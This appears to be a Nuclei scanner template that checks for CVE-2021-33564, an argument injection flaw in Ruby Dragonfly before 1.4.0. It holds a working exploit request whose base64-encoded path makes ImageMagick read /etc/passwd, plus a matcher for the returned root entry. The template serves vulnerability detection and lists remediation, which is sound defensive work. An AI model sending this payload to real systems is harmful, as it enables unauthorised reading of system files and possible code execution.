48 lines
1.9 KiB
YAML
48 lines
1.9 KiB
YAML
id: CVE-2021-33564
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info:
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name: Ruby Dragonfly <1.4.0 - Remote Code Execution
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author: 0xsapra
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severity: critical
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description: Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.
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remediation: |
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Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.
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reference:
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- https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
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- https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0
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- https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5
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- https://github.com/mlr0p/CVE-2021-33564
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- https://nvd.nist.gov/vuln/detail/CVE-2021-33564
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-33564
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cwe-id: CWE-88
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epss-score: 0.07998
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epss-percentile: 0.9357
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cpe: cpe:2.3:a:dragonfly_project:dragonfly:*:*:*:*:*:ruby:*:*
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metadata:
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max-request: 2
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vendor: dragonfly_project
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product: dragonfly
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framework: ruby
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tags: cve,cve2021,rce,ruby,injection
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http:
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- method: GET
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path:
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- "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
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- "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 490a004630440220534191703c7bf999910d727d57ba082a8a374fb82ac74fe6f2d277a78f19152e02205ae3b898760623d081b7297750587befef9b9abd6b05e91b3dbb1e1ee9792992:922c64590222798bb761d5b6d8e72950
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